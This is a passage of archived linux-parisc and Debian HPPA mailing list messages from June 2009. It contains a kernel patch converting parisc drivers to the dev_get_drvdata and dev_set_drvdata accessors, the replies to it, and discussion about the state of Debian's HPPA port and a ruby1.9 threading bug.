Yeah yeah, I suck. :) I'll send it along tonight.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <gregkh@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 56/64] parisc: remove driver_data direct access of struct device
Date: Mon, 15 Jun 2009 22:46:45 -0700
Lines: 67
Approved: news@gmane.org
Message-ID: <1245131213-24168-56-git-send-email-gregkh@suse.de>
References: <20090616051351.GA23627@kroah.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1245131565 31227 80.91.229.12 (16 Jun 2009 05:52:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Jun 2009 05:52:45 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@suse.de>, linux-parisc@vger.kernel.org,
	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 16 07:52:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGRb3-00059i-B6
	for glpp-linux-parisc@gmane.org; Tue, 16 Jun 2009 07:52:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S936001AbZFPFvz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Jun 2009 01:51:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1765490AbZFPFvp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 16 Jun 2009 01:51:45 -0400
Original-Received: from kroah.org ([198.145.64.141]:48470 "EHLO coco.kroah.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S935916AbZFPFvm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Jun 2009 01:51:42 -0400
Original-Received: from localhost (c-76-105-230-205.hsd1.or.comcast.net [76.105.230.205])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	by coco.kroah.org (Postfix) with ESMTPSA id 1149B48E4D;
	Mon, 15 Jun 2009 22:51:45 -0700 (PDT)
X-Mailer: git-send-email 1.6.3.1
In-Reply-To: <20090616051351.GA23627@kroah.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1753 gmane.linux.kernel:852428
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1753>

In the near future, the driver core is going to not allow direct access
to the driver_data pointer in struct device.  Instead, the functions
dev_get_drvdata() and dev_set_drvdata() should be used.  These functions
have been around since the beginning, so are backwards compatible with
all older kernel versions.

Cc: linux-parisc@vger.kernel.org
Cc: Helge Deller <deller@gmx.de>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
---
 drivers/parisc/eisa.c      |    2 +-
 drivers/parisc/sba_iommu.c |    6 +++---
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/parisc/eisa.c b/drivers/parisc/eisa.c
index f415fdd..5b89f40 100644
--- a/drivers/parisc/eisa.c
+++ b/drivers/parisc/eisa.c
@@ -373,7 +373,7 @@ static int __init eisa_probe(struct parisc_device *dev)
 	if (result >= 0) {
 		/* FIXME : Don't enumerate the bus twice. */
 		eisa_dev.root.dev = &dev->dev;
-		dev->dev.driver_data = &eisa_dev.root;
+		dev_set_drvdata(&dev->dev, &eisa_dev.root);
 		eisa_dev.root.bus_base_addr = 0;
 		eisa_dev.root.res = &eisa_dev.hba.io_space;
 		eisa_dev.root.slots = result;
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index e5999c4..d46dd57 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -2010,7 +2010,7 @@ void __init sba_init(void)
 void * sba_get_iommu(struct parisc_device *pci_hba)
 {
 	struct parisc_device *sba_dev = parisc_parent(pci_hba);
-	struct sba_device *sba = sba_dev->dev.driver_data;
+	struct sba_device *sba = dev_get_drvdata(&sba_dev->dev);
 	char t = sba_dev->id.hw_type;
 	int iocnum = (pci_hba->hw_path >> 3);	/* rope # */
 
@@ -2031,7 +2031,7 @@ void * sba_get_iommu(struct parisc_device *pci_hba)
 void sba_directed_lmmio(struct parisc_device *pci_hba, struct resource *r)
 {
 	struct parisc_device *sba_dev = parisc_parent(pci_hba);
-	struct sba_device *sba = sba_dev->dev.driver_data;
+	struct sba_device *sba = dev_get_drvdata(&sba_dev->dev);
 	char t = sba_dev->id.hw_type;
 	int i;
 	int rope = (pci_hba->hw_path & (ROPES_PER_IOC-1));  /* rope # */
@@ -2073,7 +2073,7 @@ void sba_directed_lmmio(struct parisc_device *pci_hba, struct resource *r)
 void sba_distributed_lmmio(struct parisc_device *pci_hba, struct resource *r )
 {
 	struct parisc_device *sba_dev = parisc_parent(pci_hba);
-	struct sba_device *sba = sba_dev->dev.driver_data;
+	struct sba_device *sba = dev_get_drvdata(&sba_dev->dev);
 	char t = sba_dev->id.hw_type;
 	int base, size;
 	int rope = (pci_hba->hw_path & (ROPES_PER_IOC-1));  /* rope # */
-- 
1.6.3.2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lucas Nussbaum <lucas@lucas-nussbaum.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Tue, 16 Jun 2009 08:25:31 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <20090616062531.GA17957@xanadu.blop.info>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org> <20090615173102.GC2690@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245135409 7646 80.91.229.12 (16 Jun 2009 06:56:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Jun 2009 06:56:49 +0000 (UTC)
Cc: HPPA porters <debian-hppa@lists.debian.org>,
	Debian Release <debian-release@lists.debian.org>,
	admin@debian-ports.org, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 16 08:56:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGSb7-0000Y7-Jc
	for glpp-linux-parisc@gmane.org; Tue, 16 Jun 2009 08:56:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750902AbZFPG4k (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Jun 2009 02:56:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751281AbZFPG4k
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 16 Jun 2009 02:56:40 -0400
Original-Received: from xanadu.blop.info ([80.248.208.235]:56034 "EHLO xanadu.blop.info"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750902AbZFPG4j (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Jun 2009 02:56:39 -0400
X-Greylist: delayed 1860 seconds by postgrey-1.27 at vger.kernel.org; Tue, 16 Jun 2009 02:56:39 EDT
Original-Received: from localhost ([127.0.0.1] helo=xanadu.blop.info)
	by xanadu.blop.info with smtp (Exim 4.69)
	(envelope-from <lucas@lucas-nussbaum.net>)
	id 1MGS6z-0001P5-4y; Tue, 16 Jun 2009 08:25:37 +0200
Original-Received: (nullmailer pid 18587 invoked by uid 1000);
	Tue, 16 Jun 2009 06:25:31 -0000
Content-Disposition: inline
In-Reply-To: <20090615173102.GC2690@lackof.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1754 gmane.linux.debian.ports.hppa:5752 gmane.linux.debian.devel.release:30780
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1754>

On 15/06/09 at 11:31 -0600, Grant Grundler wrote:
> I was expecting a summary of specific issues from an organization
> that claims to operate transperently.  The hand waving is easy. But
> doesn't resolve problems and doesn't meet my expectation of an "open"
> organization that I've donated money, time, and materials to.
> 
> >  It's an
> > extra bad feeling we get that even the people that do respond when there
> > is a request regarding hppa porters don't know what the issues are...
> 
> Expecting me to know the state of user space components is a bit silly.
> I'm not a DD. I'm a kernel developer. Specifically IO/Device Drivers.
> 
> Carlos does know that state (toolchain/glibc) and he just wanted
> a list of issues that are driving this decision. It's a very reasonable
> question he asked.

[...]

> I can put one (and maybe two) machines on a public IP. Just ask.
> The remote console access will remain behind a fire wall.
> 
> BTW, that firewall was reviewed and approved by Lamont (a pretty well
> known DD and buildd maintainer).
> 
> Thibaut Varene (who is a DD) has offered to host HPPA buildd machines
> as well but hasn't heard any response to that offer either.

(Stepping in ; I had some HPPA-related issues in one of my packages -
ruby1.9 - so this is based on my experience with that problems)

I think that your email summarizes the problem quite well: there are
several people willing to offer buildd hosting, help after someone else
has investigated the issues, etc.
What debian-hppa currently lacks is someone that is willing to
proactively detect issues (looking at packages that failed to build, for
example), investigate them, and fix them. This can be done cooperating
with the package maintainers, but the HPPA side should take the lead.
The fact that HPPA people are asking the release team "what are the
problems you are talking about?" clearly shows that this is broken: the
HPPA people should be knowing more than the release team about HPPA
issues.

PS: if you want an HPPA-specific issue to play with,
http://experimental.debian.net/fetch.php?&pkg=ruby1.9&ver=1.9.0.1-5&arch=hppa&stamp=1213563978&file=log&as=raw
might be a good candidate.
-- 
| Lucas Nussbaum
| lucas@lucas-nussbaum.net   http://www.lucas-nussbaum.net/ |
| jabber: lucas@nussbaum.fr             GPG: 1024D/023B3F4F |
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 56/64] parisc: remove driver_data direct access of
	struct device
Date: Tue, 16 Jun 2009 11:15:24 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20090616151524.GA15952@bombadil.infradead.org>
References: <20090616051351.GA23627@kroah.com> <1245131213-24168-56-git-send-email-gregkh@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245165336 6221 80.91.229.12 (16 Jun 2009 15:15:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Jun 2009 15:15:36 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>
To: Greg Kroah-Hartman <gregkh@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 16 17:15:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGaNm-0007JS-Nj
	for glpp-linux-parisc@gmane.org; Tue, 16 Jun 2009 17:15:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752234AbZFPPP0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Jun 2009 11:15:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753054AbZFPPP0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 16 Jun 2009 11:15:26 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:54633 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752234AbZFPPPZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Jun 2009 11:15:25 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MGaNg-00078Z-Sv; Tue, 16 Jun 2009 15:15:24 +0000
Content-Disposition: inline
In-Reply-To: <1245131213-24168-56-git-send-email-gregkh@suse.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1755 gmane.linux.kernel:852744
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1755>

On Mon, Jun 15, 2009 at 10:46:45PM -0700, Greg Kroah-Hartman wrote:
> In the near future, the driver core is going to not allow direct access
> to the driver_data pointer in struct device.  Instead, the functions
> dev_get_drvdata() and dev_set_drvdata() should be used.  These functions
> have been around since the beginning, so are backwards compatible with
> all older kernel versions.
> 
> Cc: linux-parisc@vger.kernel.org
> Cc: Helge Deller <deller@gmx.de>
> Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>

Acked-by: Kyle McMartin <kyle@mcmartin.ca>

Do you want to push it along with the rest of them, or would you like me
to apply it?

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <gregkh@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 56/64] parisc: remove driver_data direct access of
	struct device
Date: Tue, 16 Jun 2009 09:25:24 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20090616162524.GF26879@suse.de>
References: <20090616051351.GA23627@kroah.com> <1245131213-24168-56-git-send-email-gregkh@suse.de> <20090616151524.GA15952@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245169862 22793 80.91.229.12 (16 Jun 2009 16:31:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Jun 2009 16:31:02 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Helge Deller <deller@gmx.de>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 16 18:30:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGbYm-00035e-0f
	for glpp-linux-parisc@gmane.org; Tue, 16 Jun 2009 18:30:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759523AbZFPQao (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Jun 2009 12:30:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759520AbZFPQao
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 16 Jun 2009 12:30:44 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:56755 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759493AbZFPQan (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Jun 2009 12:30:43 -0400
Original-Received: from relay1.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id 9D0D588B6C;
	Tue, 16 Jun 2009 18:30:44 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20090616151524.GA15952@bombadil.infradead.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1756 gmane.linux.kernel:852775
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1756>

On Tue, Jun 16, 2009 at 11:15:24AM -0400, Kyle McMartin wrote:
> On Mon, Jun 15, 2009 at 10:46:45PM -0700, Greg Kroah-Hartman wrote:
> > In the near future, the driver core is going to not allow direct access
> > to the driver_data pointer in struct device.  Instead, the functions
> > dev_get_drvdata() and dev_set_drvdata() should be used.  These functions
> > have been around since the beginning, so are backwards compatible with
> > all older kernel versions.
> > 
> > Cc: linux-parisc@vger.kernel.org
> > Cc: Helge Deller <deller@gmx.de>
> > Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
> 
> Acked-by: Kyle McMartin <kyle@mcmartin.ca>
> 
> Do you want to push it along with the rest of them, or would you like me
> to apply it?

This was sent a while ago, and is going to Linus right now.  So if you
want to also add it to your tree, so that it is sure to not get lost,
that is fine with me :)

thanks,

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 56/64] parisc: remove driver_data direct access of
	struct device
Date: Tue, 16 Jun 2009 13:24:18 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <20090616172418.GB15952@bombadil.infradead.org>
References: <20090616051351.GA23627@kroah.com> <1245131213-24168-56-git-send-email-gregkh@suse.de> <20090616151524.GA15952@bombadil.infradead.org> <20090616162524.GF26879@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245173076 1452 80.91.229.12 (16 Jun 2009 17:24:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Jun 2009 17:24:36 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>
To: Greg KH <gregkh@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 16 19:24:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGcOU-0000k3-UM
	for glpp-linux-parisc@gmane.org; Tue, 16 Jun 2009 19:24:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756737AbZFPRYS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Jun 2009 13:24:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756163AbZFPRYS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 16 Jun 2009 13:24:18 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40700 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755211AbZFPRYS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Jun 2009 13:24:18 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MGcOQ-0005qJ-1l; Tue, 16 Jun 2009 17:24:18 +0000
Content-Disposition: inline
In-Reply-To: <20090616162524.GF26879@suse.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1757 gmane.linux.kernel:852801
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1757>

On Tue, Jun 16, 2009 at 09:25:24AM -0700, Greg KH wrote:
> On Tue, Jun 16, 2009 at 11:15:24AM -0400, Kyle McMartin wrote:
> > On Mon, Jun 15, 2009 at 10:46:45PM -0700, Greg Kroah-Hartman wrote:
> > > In the near future, the driver core is going to not allow direct access
> > > to the driver_data pointer in struct device.  Instead, the functions
> > > dev_get_drvdata() and dev_set_drvdata() should be used.  These functions
> > > have been around since the beginning, so are backwards compatible with
> > > all older kernel versions.
> > > 
> > > Cc: linux-parisc@vger.kernel.org
> > > Cc: Helge Deller <deller@gmx.de>
> > > Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
> > 
> > Acked-by: Kyle McMartin <kyle@mcmartin.ca>
> > 
> > Do you want to push it along with the rest of them, or would you like me
> > to apply it?
> 
> This was sent a while ago, and is going to Linus right now.  So if you
> want to also add it to your tree, so that it is sure to not get lost,
> that is fine with me :)
> 

Ah, it probably already was, but I've been so busy in the last month or
two that I missed sending anything after .30-rc$early. (I only asked
because Linus wasn't on the CC so I figured it was out for review
again, or something.)

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release,gmane.linux.ports.parisc
Subject: Re: HPPA and Squeeze
Date: Tue, 16 Jun 2009 21:08:37 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <4A37EDB5.2020400@gmx.de>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org> <20090615173102.GC2690@lackof.org> <20090616062531.GA17957@xanadu.blop.info>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245179345 2297 80.91.229.12 (16 Jun 2009 19:09:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Jun 2009 19:09:05 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>, 
 HPPA porters <debian-hppa@lists.debian.org>,
 Debian Release <debian-release@lists.debian.org>, 
 admin@debian-ports.org, linux-parisc@vger.kernel.org
To: Lucas Nussbaum <lucas@lucas-nussbaum.net>, 
 Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Tue Jun 16 21:09:02 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MGe1k-0007tB-9y
	for debian-hppa@m.gmane.org; Tue, 16 Jun 2009 21:09:00 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id E401E4C9B99; Tue, 16 Jun 2009 19:08:59 +0000 (UTC)
Old-Return-Path: <deller@gmx.de>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-10.9 required=4.0 tests=FOURLA,LDOSUBSCRIBER,
	LDO_WHITELIST autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 5628D4C9B9A
	for <lists-debian-hppa@liszt.debian.org>; Tue, 16 Jun 2009 19:08:54 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.9 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id wkcl+JO93lL8 for <lists-debian-hppa@liszt.debian.org>;
	Tue, 16 Jun 2009 19:08:50 +0000 (UTC)
X-policyd-weight: using cached result; rate:hard: -7
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by liszt.debian.org (Postfix) with SMTP id F04414C9B99
	for <debian-hppa@lists.debian.org>; Tue, 16 Jun 2009 19:08:49 +0000 (UTC)
Original-Received: (qmail invoked by alias); 16 Jun 2009 19:08:42 -0000
Original-Received: from mnhm-590e01ce.pool.einsundeins.de (EHLO halden.box) [89.14.1.206]
  by mail.gmx.net (mp037) with SMTP; 16 Jun 2009 21:08:42 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/1CrZBYdT1RnWp6u+BR9RgEKtOSu9TeMicWzh7sr
	ZOKHZrQkUHzNDo
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090513 Fedora/3.0-2.3.beta2.fc11 Thunderbird/3.0b2
In-Reply-To: <20090616062531.GA17957@xanadu.blop.info>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.59
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <J-mIOvCa3BN.A.vYC.L3-NKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6751
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue, 16 Jun 2009 19:08:59 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5753 gmane.linux.debian.devel.release:30793 gmane.linux.ports.parisc:1758
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1758>

On 06/16/2009 08:25 AM, Lucas Nussbaum wrote:
> On 15/06/09 at 11:31 -0600, Grant Grundler wrote:
> PS: if you want an HPPA-specific issue to play with,
> http://experimental.debian.net/fetch.php?&pkg=ruby1.9&ver=1.9.0.1-5&arch=hppa&stamp=1213563978&file=log&as=raw
> might be a good candidate.

In reality it's not (any longer) a hppa specific bug. It's a bug in ruby.
Ruby just relies on NPTL specific behaviour of threads and as such plays mad on LinuxThreads, which we still have active on hppa.
The good thing is, that the NPTL switch-over was started by Carlos, so I expect that this should be fixed when NPTL hits unstable...

Helge



From - Thu Nov 08 21:04:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release,gmane.linux.ports.parisc
Subject: Re: HPPA and Squeeze
Date: Tue, 16 Jun 2009 21:13:17 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20090616191317.GG25535@hall.aurel32.net>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org> <20090615173102.GC2690@lackof.org> <20090616062531.GA17957@xanadu.blop.info> <4A37EDB5.2020400@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1245179618 3216 80.91.229.12 (16 Jun 2009 19:13:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
